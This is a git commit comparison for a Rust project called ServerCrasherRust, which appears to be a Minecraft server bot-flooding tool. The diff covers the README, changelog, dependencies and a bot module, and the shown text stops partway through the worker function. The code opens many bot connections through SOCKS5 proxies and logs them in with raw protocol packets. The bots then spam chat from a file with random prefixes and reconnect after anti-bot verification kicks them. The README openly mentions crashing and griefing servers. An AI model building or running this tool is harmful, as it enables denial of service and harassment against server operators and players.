Compare commits
10 Commits
79727e2b78
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
c8e5efe395
|
|||
| 2753fbba13 | |||
| 5d3cb90d4a | |||
| 6861c820bd | |||
|
|
347ec4590d | ||
|
|
d794e1532f | ||
|
|
91624eec0f | ||
|
|
339d6fab82 | ||
|
|
492f62d6b3 | ||
|
|
f66e8412e5 |
9
.gitignore
vendored
9
.gitignore
vendored
@@ -1,4 +1,5 @@
|
||||
/target
|
||||
/.idea
|
||||
/我是崩服小能手
|
||||
/config.json
|
||||
/target
|
||||
/.idea
|
||||
/我是崩服小能手
|
||||
/config.json
|
||||
/release
|
||||
3543
Cargo.lock
generated
3543
Cargo.lock
generated
File diff suppressed because it is too large
Load Diff
30
Cargo.toml
30
Cargo.toml
@@ -1,14 +1,16 @@
|
||||
[package]
|
||||
name = "ServerCrasherRust"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
rust_mc_proto = "0.1.17"
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0.137"
|
||||
socks = "0.3.4"
|
||||
uuid = "1.12.1"
|
||||
rand = "0.8.5" # 添加rand库依赖
|
||||
reqwest = "0.12.12"
|
||||
tokio = { version = "1.43.0", features = ["full", "rt", "rt-multi-thread"] }
|
||||
[package]
|
||||
name = "ServerCrasherRust"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
rust_mc_proto = "0.1.17"
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0.137"
|
||||
socks = "0.3.4"
|
||||
uuid = "1.12.1"
|
||||
rand = "0.8.5" # 添加rand库依赖
|
||||
reqwest = "0.12.12"
|
||||
tokio = { version = "1.43.0", features = ["full", "rt", "rt-multi-thread"] }
|
||||
log = "0.4.25"
|
||||
env_logger = "0.11.6"
|
||||
|
||||
32
README.md
32
README.md
@@ -1,16 +1,16 @@
|
||||
# SCRGV - 地球管家
|
||||
该项目为生鱼管家的重制版,将项目移植到了rust,并且拥有了更加简洁的程序~~(即丢掉了原先的那坨史山)~~
|
||||
得益于rust高效~~(且折磨人)~~的内存管理,新版本可以以更低的内存占用达到更高的效果
|
||||
目前的版本仅支持Minecraft 1.20.1,且暂无配置文件等功能(目标ip什么的写死在代码里了)
|
||||
## 使用方法
|
||||
1. 我相信通过百度,你有安装rust的能力,因此跳过此步骤
|
||||
2. 将项目克隆到本地
|
||||
3. 命令行里跑一跑
|
||||
```shell
|
||||
cd ServerCrasherRust
|
||||
cargo run
|
||||
```
|
||||
## TODO List
|
||||
1. 实现配置文件&更加灵活的代理设置
|
||||
2. 实现spammer,tab completion crash等实用的~~熊服~~(划掉)功能
|
||||
3. 适配多版本(flag先立着,什么时候实现不一定)
|
||||
# SCRGV - 地球管家
|
||||
该项目为生鱼管家的重制版,将项目移植到了rust,并且拥有了更加简洁的程序~~(即丢掉了原先的那坨史山)~~
|
||||
得益于rust高效~~(且折磨人)~~的内存管理,新版本可以以更低的内存占用达到更高的效果
|
||||
目前的版本仅支持Minecraft 1.20.1,且暂无配置文件等功能(目标ip什么的写死在代码里了)
|
||||
## 使用方法
|
||||
1. 我相信通过百度,你有安装rust的能力,因此跳过此步骤
|
||||
2. 将项目克隆到本地
|
||||
3. 命令行里跑一跑
|
||||
```shell
|
||||
cd ServerCrasherRust
|
||||
cargo run
|
||||
```
|
||||
## TODO List
|
||||
1. 实现配置文件&更加灵活的代理设置 [已完成]
|
||||
2. 实现spammer,tab completion crash等实用的~~熊服~~(划掉)功能 [部分完成]
|
||||
3. 适配多版本(flag先立着,什么时候实现不一定)[Waiting...]
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
SCRGV - v1.1
|
||||
|
||||
- 完善config
|
||||
- 修复了部分bug
|
||||
- 实现了灵活的代理切换(现在如果不需要使用代理,可以将proxy_url置空)
|
||||
SCRGV - v1.1
|
||||
|
||||
- 完善config
|
||||
- 修复了部分bug
|
||||
- 实现了灵活的代理切换(现在如果不需要使用代理,可以将proxy_url置空)
|
||||
- 实现了spammer和登录命令
|
||||
@@ -1,363 +1,383 @@
|
||||
// bot的实现
|
||||
|
||||
use std::{io::{Error, Read, Write}, net::TcpStream, sync::Arc, thread::{self, sleep}, time::{self, Duration}};
|
||||
|
||||
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
|
||||
use socks::Socks5Stream;
|
||||
use tokio::{io::{AsyncBufReadExt, AsyncSeekExt}, sync::Mutex};
|
||||
use crate::{configuration::Configuration, utils};
|
||||
|
||||
// 让所有bot能够共享变量
|
||||
pub struct BotVariable {
|
||||
pub spam_file: Arc<Mutex<Option<tokio::fs::File>>>,
|
||||
pub spam_cursor: Arc<Mutex<u64>>
|
||||
}
|
||||
|
||||
// impl Clone for BotVariable {
|
||||
// fn clone(&self) -> Self {
|
||||
// Self { spam_file: self.spam_file.clone() }
|
||||
// }
|
||||
// }
|
||||
|
||||
// 定义一个StreamType的特性,要求实现Read和Write,且含有connect函数
|
||||
pub trait StreamType: Read + Write {
|
||||
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized;
|
||||
}
|
||||
|
||||
// *由于下面的Stream已经实现过connect了,所以这里没必要重复一遍
|
||||
// // 然后让Socks5Stream实现StreamType
|
||||
// impl StreamType for Socks5Stream{
|
||||
// fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized {
|
||||
// return Socks5Stream::connect(proxy_addr, server_addr);
|
||||
// }
|
||||
// }
|
||||
// // 再让TcpStream实现StreamType
|
||||
// impl StreamType for TcpStream {
|
||||
// fn connect(server_addr: &str,_: &str) -> Result<Self, Error> where Self: Sized {
|
||||
// return TcpStream::connect(server_addr);
|
||||
// }
|
||||
// }
|
||||
|
||||
// Bot泛型版
|
||||
pub struct Bot<T: StreamType> {
|
||||
pub username: String,
|
||||
pub proxy_addr: String,
|
||||
pub server_addr: String,
|
||||
conn: Arc<Mutex<MinecraftConnection<T>>>,
|
||||
should_restart: bool,
|
||||
config: Arc<Configuration>,
|
||||
status: i32,
|
||||
var: Arc<BotVariable>,
|
||||
}
|
||||
|
||||
// 然后用一个Stream枚举来包装TcpStream和Socks5Stream(trait不能拿来创建bot)
|
||||
pub enum Stream {
|
||||
Socks5(Socks5Stream),
|
||||
Tcp(TcpStream),
|
||||
}
|
||||
|
||||
//给Stream实现Read和Write
|
||||
impl Read for Stream {
|
||||
fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
|
||||
match self {
|
||||
Stream::Socks5(t) => t.read(buf),
|
||||
Stream::Tcp(t) => t.read(buf),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Write for Stream {
|
||||
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
|
||||
match self {
|
||||
Stream::Socks5(t) => t.write(buf),
|
||||
Stream::Tcp(t) => t.write(buf),
|
||||
}
|
||||
}
|
||||
|
||||
fn flush(&mut self) -> std::io::Result<()> {
|
||||
match self {
|
||||
Stream::Socks5(t) => t.flush(),
|
||||
Stream::Tcp(t) => t.flush(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 再让Stream实现StreamType,这样Stream就能拿来搞bot的泛型了
|
||||
impl StreamType for Stream {
|
||||
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized {
|
||||
if !proxy_addr.is_empty() {
|
||||
Ok(Stream::Socks5(Socks5Stream::connect(proxy_addr, server_addr)?))
|
||||
}else {
|
||||
Ok(Stream::Tcp(TcpStream::connect(server_addr)?))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Clone for Bot<Stream> {
|
||||
fn clone(&self) -> Self {
|
||||
Self {
|
||||
username: self.username.clone(),
|
||||
proxy_addr: self.proxy_addr.clone(),
|
||||
server_addr: self.server_addr.clone(),
|
||||
conn: self.conn.clone(),
|
||||
should_restart: self.should_restart.clone(),
|
||||
config: self.config.clone(),
|
||||
status: self.status.clone(),
|
||||
var: self.var.clone()}
|
||||
}
|
||||
}
|
||||
|
||||
impl<T: StreamType> Bot<T> {
|
||||
pub fn new(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<T>, Error> {
|
||||
println!("[{}] Creating bot on {} with proxy {}", username, server_addr, proxy_addr);
|
||||
let stream = T::connect(server_addr.as_str(), proxy_addr.as_str());
|
||||
let should_restart = false;
|
||||
match stream {
|
||||
Ok(stream) => Ok(Bot {
|
||||
username,
|
||||
proxy_addr,
|
||||
server_addr,
|
||||
conn: Arc::new(Mutex::new(MinecraftConnection::new(stream))),
|
||||
should_restart,
|
||||
config,
|
||||
status: 0,
|
||||
var: var}),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}
|
||||
// bot登录函数
|
||||
pub async fn login(&mut self) -> Result<(), ProtocolError> {
|
||||
// 这里其实传的server host是什么都不要紧,但保险起见还是弄一下
|
||||
let mut server_host: String = self.server_addr.clone();
|
||||
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
|
||||
// println!("{}",server_host);
|
||||
server_host = server_host.strip_suffix(':').unwrap().to_string();
|
||||
let server_port_num: u16 = server_port.parse::<u16>().unwrap();
|
||||
// 发一个handshake包,设置next_state为2(Login)
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
|
||||
packet.write_u16_varint(763)?; // protocol_version
|
||||
packet.write_string(&server_host)?; // server_address
|
||||
packet.write_unsigned_short(server_port_num)?; // server_port
|
||||
packet.write_u8_varint(2) // next_state
|
||||
})?)?; // handshake packet
|
||||
|
||||
// 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个)
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
|
||||
packet.write_string(&self.username)?;
|
||||
packet.write_boolean(false)// ?;
|
||||
// packet.write_uuid(&Uuid::parse_str("550e8400-e29b-41d4-a716-446655440000").unwrap())
|
||||
})?)?; // login start packet
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn send_message(&mut self, message: String) -> Result<(), ProtocolError> {
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x05, |packet| {
|
||||
packet.write_string(message.as_str())?; // message
|
||||
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?; // timestamp
|
||||
packet.write_long(0)?; // salt
|
||||
packet.write_boolean(false)?; // has signature
|
||||
packet.write_u8_varint(0)?; // message count
|
||||
packet.write_bytes(&[0,0,0])
|
||||
})?)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn send_command(&mut self, command: String) -> Result<(), ProtocolError> {
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x04, |packet| {
|
||||
packet.write_string(&command.as_str())?;
|
||||
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?;
|
||||
packet.write_long(0)?;
|
||||
packet.write_u8_varint(0)?;
|
||||
packet.write_u8_varint(0)?; // message count
|
||||
packet.write_bytes(&[0,0,0])
|
||||
})?)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// 处理服务器发的keepalive
|
||||
pub async fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||
// keep alive
|
||||
let id = packet.read_long()?;
|
||||
// keepalive原封不动丢回去就行
|
||||
// TODO 在20秒未进行Keepalive时断开连接
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
|
||||
packet.write_long(id)
|
||||
})?)?;
|
||||
// println!("Server keep alived");
|
||||
// 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
|
||||
packet.write_u8_varint(0)
|
||||
})?)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// 处理断开连接事件(这个指的是建立连接后再断开连接)
|
||||
pub async fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||
// disconnect
|
||||
let message = packet.read_string()?;
|
||||
let text = utils::parse_json_component(message.as_str());
|
||||
println!("[{}] Server disconnected: {}", self.username, text);
|
||||
// if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面
|
||||
// println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
|
||||
// sleep(Duration::from_secs(90));
|
||||
// self.should_restart = true;
|
||||
// }
|
||||
for i in self.config.reco_words(){
|
||||
if text.contains(i.as_str()) {
|
||||
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
|
||||
sleep(Duration::from_secs(90));
|
||||
self.should_restart = true;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// 处理网络数据包
|
||||
pub async fn handle_packets(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<u8>) -> Result<(), ProtocolError> {
|
||||
while self.conn.lock().await.is_alive() {
|
||||
let mut packet = self.conn.lock().await.read_packet()?;
|
||||
match packet.id() {
|
||||
0x02 => { // 成功登录
|
||||
// login success
|
||||
println!("[{}] Successfully logged in!",self.username);
|
||||
self.status = 1;
|
||||
status_tx.send(1).unwrap();
|
||||
}
|
||||
0x03 => {// 设置压缩CompressionThreshold
|
||||
// set compression
|
||||
let threshold = packet.read_i32_varint()?;
|
||||
if threshold >= 0 {
|
||||
self.conn.lock().await.set_compression(Some(threshold as usize));
|
||||
// println!("[{}] Compression threshold set to {}", self.username, threshold)
|
||||
}
|
||||
}
|
||||
0x23 => { // KeepAlive包
|
||||
self.handle_keepalive(&mut packet).await?;
|
||||
// println!("{}",self.status);
|
||||
}
|
||||
0x1A => {// 断连包
|
||||
// disconnect
|
||||
self.handle_disconnect(&mut packet).await?;
|
||||
status_tx.send(2).unwrap();
|
||||
break;
|
||||
}
|
||||
0x00 => {// 版本不匹配啥的就会走这
|
||||
if self.status == 0{
|
||||
let text = packet.read_string()?;
|
||||
println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
|
||||
status_tx.send(2);
|
||||
break;
|
||||
}
|
||||
}
|
||||
0x38 => {// 去世包(自动复活)
|
||||
// player died
|
||||
println!("[{}] Player died,respawning...",self.username);
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
|
||||
packet.write_u8_varint(0)
|
||||
})?)?
|
||||
}
|
||||
_ => {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// !这里的self不与主线程的self相同
|
||||
pub async fn update_worker(&mut self, mut status_rx: tokio::sync::mpsc::UnboundedReceiver<u8>){
|
||||
let mut login_timestamp = 0;
|
||||
let mut login_command_flag = false;
|
||||
let mut status = 0;
|
||||
let mut iter = 0;
|
||||
let mut flag = true;
|
||||
println!("[{}/WORKER] Worker started!", self.username);
|
||||
while flag {
|
||||
if !status_rx.is_empty() {
|
||||
status = status_rx.recv().await.unwrap();
|
||||
}
|
||||
if status == 1 && login_timestamp == 0 { // 刚刚登录完毕
|
||||
login_timestamp = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64;
|
||||
}else if status == 1 { // 已登录
|
||||
if login_timestamp + 3000 <= time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64
|
||||
&& !login_command_flag { // 登录3s后且未执行过登录命令
|
||||
let commands = self.config.login_commands().clone();
|
||||
for i in commands{
|
||||
self.send_command(i.to_string()).await.unwrap();
|
||||
thread::sleep(Duration::from_secs(1));
|
||||
}
|
||||
println!("[{}/WORKER] Login commands executed!",self.username);
|
||||
login_command_flag = true;
|
||||
}
|
||||
}
|
||||
if login_command_flag { // 执行完登录命令后
|
||||
if !self.config.spam_file().is_empty() && iter % self.config.spam_delay_ms() == 0{
|
||||
let mut msg = String::new();
|
||||
if self.config.random_prefix(){
|
||||
msg += &utils::generate_string(2,10);
|
||||
}
|
||||
{ // TODO 优化这里
|
||||
let var = self.var.clone();
|
||||
let mut file_lock = var.spam_file.lock().await;
|
||||
let file = file_lock.as_mut().unwrap();
|
||||
let mut reader = tokio::io::BufReader::new(file);
|
||||
let mut line = String::new();
|
||||
let mut flag = true;
|
||||
reader.seek(std::io::SeekFrom::Start(*var.spam_cursor.lock().await)).await.unwrap();
|
||||
while flag {
|
||||
flag = false;
|
||||
if let Ok(size) = reader.read_line(&mut line).await {
|
||||
if size == 0 {
|
||||
reader.seek(std::io::SeekFrom::Start(0)).await.unwrap();
|
||||
flag = true;
|
||||
}else {
|
||||
msg += line.trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
(*var.spam_cursor.lock().await) = reader.stream_position().await.unwrap();
|
||||
}
|
||||
self.send_message(msg).await.unwrap_or(());
|
||||
}
|
||||
iter += 1;
|
||||
}
|
||||
sleep(Duration::from_millis(1));
|
||||
flag = self.conn.lock().await.is_alive() && status!=2;
|
||||
}
|
||||
println!("[{}/WORKER] Worker stopped.", self.username);
|
||||
}
|
||||
|
||||
// 运行bot
|
||||
pub async fn run(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<u8>) -> Result<(), ProtocolError> {
|
||||
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr, self.proxy_addr);
|
||||
self.login().await.unwrap();
|
||||
self.handle_packets(status_tx).await.unwrap_or(());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn should_restart(&self) -> bool {
|
||||
self.should_restart
|
||||
}
|
||||
}
|
||||
|
||||
// 把创建bot的方法提取出来力
|
||||
pub fn create_new_bot(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<Stream>, Error>{
|
||||
if !proxy_addr.is_empty() {
|
||||
Bot::<Stream>::new(
|
||||
username,
|
||||
proxy_addr,
|
||||
server_addr,
|
||||
config,
|
||||
var
|
||||
)
|
||||
}else {
|
||||
Bot::<Stream>::new(
|
||||
username,
|
||||
"".to_string(),
|
||||
server_addr,
|
||||
config,
|
||||
var
|
||||
)
|
||||
}
|
||||
// bot的实现
|
||||
|
||||
use std::{io::{Error, Read, Write}, net::TcpStream, str::FromStr, sync::Arc, thread::{self, sleep}, time::{self, Duration}};
|
||||
|
||||
use log::{info, warn};
|
||||
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
|
||||
use socks::Socks5Stream;
|
||||
use tokio::{io::{AsyncBufReadExt, AsyncSeekExt}, sync::Mutex};
|
||||
use crate::{configuration::Configuration, utils};
|
||||
|
||||
// 让所有bot能够共享变量
|
||||
pub struct BotVariable {
|
||||
pub spam_file: Arc<Mutex<Option<tokio::fs::File>>>,
|
||||
pub spam_cursor: Arc<Mutex<u64>>,
|
||||
}
|
||||
|
||||
// Bot主线程和worker线程间的通信
|
||||
pub struct BotMessage {
|
||||
pub state: i32,
|
||||
pub last_keepalive_sec: u64,
|
||||
}
|
||||
|
||||
// 定义一个StreamType的特性,要求实现Read和Write,且含有connect函数
|
||||
pub trait StreamType: Read + Write {
|
||||
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized;
|
||||
}
|
||||
|
||||
// Bot泛型版
|
||||
pub struct Bot<T: StreamType> {
|
||||
pub username: String,
|
||||
pub proxy_addr: String,
|
||||
pub server_addr: String,
|
||||
conn: Arc<Mutex<MinecraftConnection<T>>>,
|
||||
should_restart: bool,
|
||||
config: Arc<Configuration>,
|
||||
status: i32,
|
||||
var: Arc<BotVariable>,
|
||||
alive: Arc<Mutex<bool>>
|
||||
}
|
||||
|
||||
// 然后用一个Stream枚举来包装TcpStream和Socks5Stream(trait不能拿来创建bot)
|
||||
pub enum Stream {
|
||||
Socks5(Socks5Stream),
|
||||
Tcp(TcpStream),
|
||||
}
|
||||
|
||||
//给Stream实现Read和Write
|
||||
impl Read for Stream {
|
||||
fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
|
||||
match self {
|
||||
Stream::Socks5(t) => t.read(buf),
|
||||
Stream::Tcp(t) => t.read(buf),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Write for Stream {
|
||||
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
|
||||
match self {
|
||||
Stream::Socks5(t) => t.write(buf),
|
||||
Stream::Tcp(t) => t.write(buf),
|
||||
}
|
||||
}
|
||||
|
||||
fn flush(&mut self) -> std::io::Result<()> {
|
||||
match self {
|
||||
Stream::Socks5(t) => t.flush(),
|
||||
Stream::Tcp(t) => t.flush(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 再让Stream实现StreamType,这样Stream就能拿来搞bot的泛型了
|
||||
impl StreamType for Stream {
|
||||
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized {
|
||||
if !proxy_addr.is_empty() {
|
||||
Ok(Stream::Socks5(Socks5Stream::connect(proxy_addr, server_addr)?))
|
||||
}else {
|
||||
Ok(Stream::Tcp(TcpStream::connect(server_addr)?))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Clone for Bot<Stream> {
|
||||
fn clone(&self) -> Self {
|
||||
Self {
|
||||
username: self.username.clone(),
|
||||
proxy_addr: self.proxy_addr.clone(),
|
||||
server_addr: self.server_addr.clone(),
|
||||
conn: self.conn.clone(),
|
||||
should_restart: self.should_restart.clone(),
|
||||
config: self.config.clone(),
|
||||
status: self.status.clone(),
|
||||
var: self.var.clone(),
|
||||
alive: self.alive.clone()}
|
||||
}
|
||||
}
|
||||
|
||||
impl<T: StreamType> Bot<T> {
|
||||
pub fn new(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<T>, Error> {
|
||||
info!("[{}] Creating bot on {} with proxy {}", username, server_addr, proxy_addr);
|
||||
let stream = T::connect(server_addr.as_str(), proxy_addr.as_str());
|
||||
let should_restart = false;
|
||||
match stream {
|
||||
Ok(stream) => Ok(Bot {
|
||||
username,
|
||||
proxy_addr,
|
||||
server_addr,
|
||||
conn: Arc::new(Mutex::new(MinecraftConnection::new(stream))),
|
||||
should_restart,
|
||||
config,
|
||||
status: 0,
|
||||
var: var,
|
||||
alive: Arc::new(Mutex::new(true))}),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}
|
||||
// bot登录函数
|
||||
pub async fn login(&mut self) -> Result<(), ProtocolError> {
|
||||
// 这里其实传的server host是什么都不要紧,但保险起见还是弄一下
|
||||
let mut server_host: String = self.server_addr.clone();
|
||||
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
|
||||
// println!("{}",server_host);
|
||||
server_host = server_host.strip_suffix(':').unwrap().to_string();
|
||||
let server_port_num: u16 = server_port.parse::<u16>().unwrap();
|
||||
// 发一个handshake包,设置next_state为2(Login)
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
|
||||
packet.write_u16_varint(763)?; // protocol_version
|
||||
packet.write_string(&server_host)?; // server_address
|
||||
packet.write_unsigned_short(server_port_num)?; // server_port
|
||||
packet.write_u8_varint(2) // next_state
|
||||
})?)?; // handshake packet
|
||||
|
||||
// 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个)
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
|
||||
packet.write_string(&self.username)?;
|
||||
packet.write_boolean(false)// ?;
|
||||
// packet.write_uuid(&Uuid::parse_str("550e8400-e29b-41d4-a716-446655440000").unwrap())
|
||||
})?)?; // login start packet
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn send_message(&mut self, message: String) -> Result<(), ProtocolError> {
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x05, |packet| {
|
||||
packet.write_string(message.as_str())?; // message
|
||||
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?; // timestamp
|
||||
packet.write_long(0)?; // salt
|
||||
packet.write_boolean(false)?; // has signature
|
||||
packet.write_u8_varint(0)?; // message count
|
||||
packet.write_bytes(&[0,0,0])
|
||||
})?)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn send_command(&mut self, command: String) -> Result<(), ProtocolError> {
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x04, |packet| {
|
||||
packet.write_string(&command.as_str())?;
|
||||
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?;
|
||||
packet.write_long(0)?;
|
||||
packet.write_u8_varint(0)?;
|
||||
packet.write_u8_varint(0)?; // message count
|
||||
packet.write_bytes(&[0,0,0])
|
||||
})?)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// 处理服务器发的keepalive
|
||||
pub async fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||
// keep alive
|
||||
let id = packet.read_long()?;
|
||||
// keepalive原封不动丢回去就行
|
||||
// TODO 在20秒未进行Keepalive时断开连接
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
|
||||
packet.write_long(id)
|
||||
})?)?;
|
||||
// println!("Server keep alived");
|
||||
// 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
|
||||
packet.write_u8_varint(0)
|
||||
})?)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// 处理断开连接事件(这个指的是建立连接后再断开连接)
|
||||
pub async fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||
// disconnect
|
||||
let message = packet.read_string()?;
|
||||
let text = utils::parse_json_component(message.as_str());
|
||||
info!("[{}] Server disconnected: {}", self.username, text);
|
||||
// if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面
|
||||
// println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
|
||||
// sleep(Duration::from_secs(90));
|
||||
// self.should_restart = true;
|
||||
// }
|
||||
for i in self.config.reco_words(){
|
||||
if text.contains(i.as_str()) {
|
||||
info!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
|
||||
sleep(Duration::from_secs(90));
|
||||
self.should_restart = true;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// 处理网络数据包
|
||||
pub async fn handle_packets(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<BotMessage>) -> Result<(), ProtocolError> {
|
||||
while self.conn.lock().await.is_alive() && *self.alive.lock().await {
|
||||
let mut packet = self.conn.lock().await.read_packet()?;
|
||||
let mut message = BotMessage {
|
||||
state: 0,
|
||||
last_keepalive_sec: 0
|
||||
};
|
||||
let mut uuid_self = uuid::Uuid::from_str("550e8400-e29b-41d4-a716-446655440000").unwrap(); // 这个纯随机
|
||||
let mut ent_self = 0;
|
||||
match packet.id() {
|
||||
0x01 => { // spawn entity
|
||||
let id = packet.read_i32_varint()?;
|
||||
let uid = packet.read_uuid()?;
|
||||
if uid.eq(&uuid_self) {
|
||||
ent_self = id;
|
||||
}
|
||||
}
|
||||
0x02 => { // 成功登录(Login Success)
|
||||
// login success
|
||||
info!("[{}] Successfully logged in!",self.username);
|
||||
self.status = 1;
|
||||
message.state = 1;
|
||||
message.last_keepalive_sec = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_secs();
|
||||
status_tx.send(message).unwrap_or(());
|
||||
uuid_self = packet.read_uuid()?;
|
||||
}
|
||||
0x03 => {// 设置压缩CompressionThreshold
|
||||
// set compression
|
||||
let threshold = packet.read_i32_varint()?;
|
||||
if threshold >= 0 {
|
||||
self.conn.lock().await.set_compression(Some(threshold as usize));
|
||||
// println!("[{}] Compression threshold set to {}", self.username, threshold)
|
||||
}
|
||||
}
|
||||
0x23 => { // KeepAlive包
|
||||
self.handle_keepalive(&mut packet).await?;
|
||||
message.last_keepalive_sec = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_secs();
|
||||
status_tx.send(message).unwrap_or(());
|
||||
// println!("{}",self.status);
|
||||
}
|
||||
0x1A => {// 断连包
|
||||
// disconnect
|
||||
self.handle_disconnect(&mut packet).await?;
|
||||
message.state = 2;
|
||||
status_tx.send(message).unwrap_or(());
|
||||
break;
|
||||
}
|
||||
0x00 => {// 版本不匹配啥的就会走这
|
||||
if self.status == 0{
|
||||
let text = packet.read_string()?;
|
||||
warn!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
|
||||
message.state = 2;
|
||||
status_tx.send(message).unwrap_or(());
|
||||
break;
|
||||
}
|
||||
}
|
||||
0x38 => {// 去世包(自动复活)
|
||||
// player died
|
||||
info!("[{}] Player died,respawning...",self.username);
|
||||
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
|
||||
packet.write_u8_varint(0)
|
||||
})?)?
|
||||
}
|
||||
_ => {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// !这里的self不与主线程的self相同
|
||||
pub async fn update_worker(&mut self, mut status_rx: tokio::sync::mpsc::UnboundedReceiver<BotMessage>){
|
||||
let mut login_timestamp = 0;
|
||||
let mut login_command_flag = false;
|
||||
let mut message = BotMessage {
|
||||
state: 0,
|
||||
last_keepalive_sec: 0
|
||||
};
|
||||
let mut iter = 0;
|
||||
let mut flag = true;
|
||||
info!("[{}/WORKER] Worker started!", self.username);
|
||||
while flag {
|
||||
if !status_rx.is_empty() {
|
||||
message = status_rx.recv().await.unwrap();
|
||||
}
|
||||
